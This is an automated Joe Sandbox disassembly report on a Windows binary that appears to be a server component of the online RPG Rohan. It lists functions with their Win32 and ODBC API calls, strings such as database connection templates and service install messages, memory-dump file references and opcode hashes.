                                                                                                                            • Opcode ID: 38568d278f1a472bbf65057f1d480ca059bc78a175e69b38c1dda11c808ce571
                                                                                                                            • Instruction ID: 7db58e61a5bbac3307df5f705467a0e928025fe9932649aa63b478b138c95e0d
                                                                                                                            • Opcode Fuzzy Hash: 38568d278f1a472bbf65057f1d480ca059bc78a175e69b38c1dda11c808ce571
                                                                                                                            • Instruction Fuzzy Hash: 3802D3B4A006289FCB64DF14CC94BAAB7B5BF48305F1441EAE90DA7351DA34AF84CF59
                                                                                                                            Function 0046A6E0 Relevance: 33.6, APIs: 6, Strings: 13, Instructions: 310windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • MessageBoxA.USER32(00000000,Online RPG Rohan Service by GEOMINDshwon@geomind.co.krUsage : [/n service_name][/r registrykey_name][/d display_name] /(command) Command : /i - Install Service /u - Uninstall Service /?/h - This Help,00000000,00000000), ref: 0046A8E5
                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104,00000000), ref: 0046AA25
                                                                                                                            • MessageBoxA.USER32(00000000,Service Installed !,00000000,00000000), ref: 0046AA5E
                                                                                                                            • MessageBoxA.USER32(00000000,Install Failed !,00000000,00000000), ref: 0046AA73
                                                                                                                            • MessageBoxA.USER32(00000000,Service Uninstall !,00000000,00000000), ref: 0046AA9A
                                                                                                                            • MessageBoxA.USER32(00000000,Uninstall Failed !,00000000,00000000), ref: 0046AAAF
                                                                                                                            Strings
                                                                                                                            • DATABASE=%s;, xrefs: 0046AB50
                                                                                                                            • Service Installed !, xrefs: 0046AA57
                                                                                                                            • 6, xrefs: 0046A7DF
                                                                                                                            • SERVER=%s;, xrefs: 0046AAF6
                                                                                                                            • DRIVER={SQL Server};, xrefs: 0046AADC
                                                                                                                            • UID=%s;, xrefs: 0046AB14
                                                                                                                            • Uninstall Failed !, xrefs: 0046AAA8
                                                                                                                            • h\L, xrefs: 0046AA42
                                                                                                                            • Online RPG Rohan Service by GEOMINDshwon@geomind.co.krUsage : [/n service_name][/r registrykey_name][/d display_name] /(command) Command : /i - Install Service /u - Uninstall Service /?/h - This Help, xrefs: 0046A8DE
                                                                                                                            • Install Failed !, xrefs: 0046AA6C
                                                                                                                            • Service Uninstall !, xrefs: 0046AA93
                                                                                                                            • -/=, xrefs: 0046A700
                                                                                                                            • PWD=%s;, xrefs: 0046AB32
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Message$FileModuleName
                                                                                                                            • String ID: -/=$6$DATABASE=%s;$DRIVER={SQL Server};$Install Failed !$Online RPG Rohan Service by GEOMINDshwon@geomind.co.krUsage : [/n service_name][/r registrykey_name][/d display_name] /(command) Command : /i - Install Service /u - Uninstall Service /?/h - This Help$PWD=%s;$SERVER=%s;$Service Installed !$Service Uninstall !$UID=%s;$Uninstall Failed !$h\L
                                                                                                                            • API String ID: 268639884-3372089525
                                                                                                                            • Opcode ID: 4b817e649cacf629286cb89f2463055af47ef8c1a03558d272cce3ef46310cb2
                                                                                                                            • Instruction ID: 57e4d1ad423b4a2c91f211ad3546cfb5237aefa16c603939ea95adce8e192369
                                                                                                                            • Opcode Fuzzy Hash: 4b817e649cacf629286cb89f2463055af47ef8c1a03558d272cce3ef46310cb2
                                                                                                                            • Instruction Fuzzy Hash: C2D159B0D04258DFDB14DF90CC95BEEBBB0AF48305F10409AE5097B281E7795A99CFA6
                                                                                                                            Function 00413310 Relevance: 33.5, APIs: 6, Strings: 13, Instructions: 230COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004143B0: _Yarn.LIBCPMTD ref: 004143C0
                                                                                                                              • Part of subcall function 004143B0: _Yarn.LIBCPMTD ref: 0041441B
                                                                                                                              • Part of subcall function 004143B0: _Yarn.LIBCPMTD ref: 00414476
                                                                                                                              • Part of subcall function 004143B0: _Yarn.LIBCPMTD ref: 004144D1
                                                                                                                              • Part of subcall function 004143B0: _Yarn.LIBCPMTD ref: 0041452C
                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 0041335B
                                                                                                                            • _strrchr.LIBCMT ref: 0041336A
                                                                                                                              • Part of subcall function 00469790: __time64.LIBCMT ref: 004697DF
                                                                                                                            • std::bad_exception::~bad_exception.LIBCMTD ref: 004135FB
                                                                                                                            • std::bad_exception::~bad_exception.LIBCMTD ref: 00413687
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Yarn$std::bad_exception::~bad_exception$FileModuleName__time64_strrchr
                                                                                                                            • String ID: /%Y%m%d-%H%M%S db_packet.log$C:\Epoch\Log$GameDB$Gamenet$Geomind$LogDir$LoginDB$UpdateBlockCharName failed$XVN$_init.log$connect to gamedb successfully$connect to logindb successfully$test
                                                                                                                            • API String ID: 4218737275-2421602583
                                                                                                                            • Opcode ID: 3b84be454a7705f36e771b88c8f359dafe47261308e9e3b85081d386c96806d5
                                                                                                                            • Instruction ID: 6899fe0220de9930e907ee96a211994e5c46495b74c72dc121c4b79c05c0b377
                                                                                                                            • Opcode Fuzzy Hash: 3b84be454a7705f36e771b88c8f359dafe47261308e9e3b85081d386c96806d5
                                                                                                                            • Instruction Fuzzy Hash: C5A18CB49042289BCB64EF61DC42FDAB770AF44309F1041DEE5096A281EBB96FC4CF59
                                                                                                                            Function 004111E0 Relevance: 33.4, APIs: 22, Instructions: 361windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetDC.USER32(?), ref: 00411263
                                                                                                                            • GetTextMetricsA.GDI32(?,?), ref: 0041127D
                                                                                                                            • ReleaseDC.USER32(?,?), ref: 004112A6
                                                                                                                            • GetClientRect.USER32(?,?), ref: 004112D0
                                                                                                                            • SetScrollInfo.USER32(?,00000001,0000001C,00000001), ref: 00411334
                                                                                                                            • SetScrollInfo.USER32(?,00000000,0000001C,00000001), ref: 0041138F
                                                                                                                            • SendMessageA.USER32(?,00000115,?,00000000), ref: 004113B2
                                                                                                                            • BeginPaint.USER32(?,?), ref: 00411622
                                                                                                                            • GetScrollInfo.USER32(?,00000001,0000001C), ref: 0041164F
                                                                                                                            • GetScrollInfo.USER32(?,00000000,0000001C), ref: 0041166E
                                                                                                                            • EndPaint.USER32(?,?), ref: 00411796
                                                                                                                            • PostQuitMessage.USER32(00000000), ref: 004117A2
                                                                                                                            • DefWindowProcA.USER32(?,?,?,?), ref: 004117BC
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: InfoScroll$MessagePaint$BeginClientMetricsPostProcQuitRectReleaseSendTextWindow
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3697802598-0
                                                                                                                            • Opcode ID: 97e99601a346c46c502f257257916880095954d55c12d50e0f720f6c2f7df7dc
                                                                                                                            • Instruction ID: dc2b2b32ec318f444bb8fe7e9ab46799124cb3e49aa9e36f7ea6669df2b08ad1
                                                                                                                            • Opcode Fuzzy Hash: 97e99601a346c46c502f257257916880095954d55c12d50e0f720f6c2f7df7dc
                                                                                                                            • Instruction Fuzzy Hash: 31021574A00219DFDB64CF54DC84F99B7B5EB49304F10819AE60DAB3A2D734AAC4CF68
                                                                                                                            Function 0043D957 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 301COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_InsertRevenge](?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)},000000FD), ref: 0043D979
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043D9B8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043D9ED
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043DA25
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043DA5D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043DA95
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000001,0000000C,00000014), ref: 0043DACD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043DB05
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043DB3D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000001,0000000C,00000014), ref: 0043DB75
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043DBAD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043DBE5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000001,0000000C,00000014), ref: 0043DC1D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000011,00000000,?,00000012,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043DC55
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000001,0000000C,00000011), ref: 0043DC8D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 0043DCC5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043DCFD
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsertRevenge](?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)}, xrefs: 0043D970
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsertRevenge](?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-2024812675
                                                                                                                            • Opcode ID: e1ff52709ae270e1e992ff76ff0d0c4a846097a098b60c116e603dfb11948636
                                                                                                                            • Instruction ID: 5ba03d395e5a6251bedcffc5dfbeb460785ce0c60a5af9f32bc21de364000132
                                                                                                                            • Opcode Fuzzy Hash: e1ff52709ae270e1e992ff76ff0d0c4a846097a098b60c116e603dfb11948636
                                                                                                                            • Instruction Fuzzy Hash: A9B11F74A90258BBEB249B64CC62FF96335EB85B18F20C185F75C6E3C6D1F169C48B18
                                                                                                                            Function 004484ED Relevance: 30.3, APIs: 20, Instructions: 289COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044852E
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044855E
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 0044858E
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 004485BE
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 004485EE
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 0044861E
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044864E
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044867E
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004486AE
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F0,?), ref: 004486DE
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F1,?), ref: 0044870E
                                                                                                                            • #4.ODBC32(?,00000000,000000FE,?,0000002A,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044873E
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FE,?,0000002A,00000000,?,00000000,000000F0,?), ref: 0044876E
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FE,?), ref: 0044879E
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 004487D1
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 00448803
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 00448836
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 00448869
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044889B
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?), ref: 004488CE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
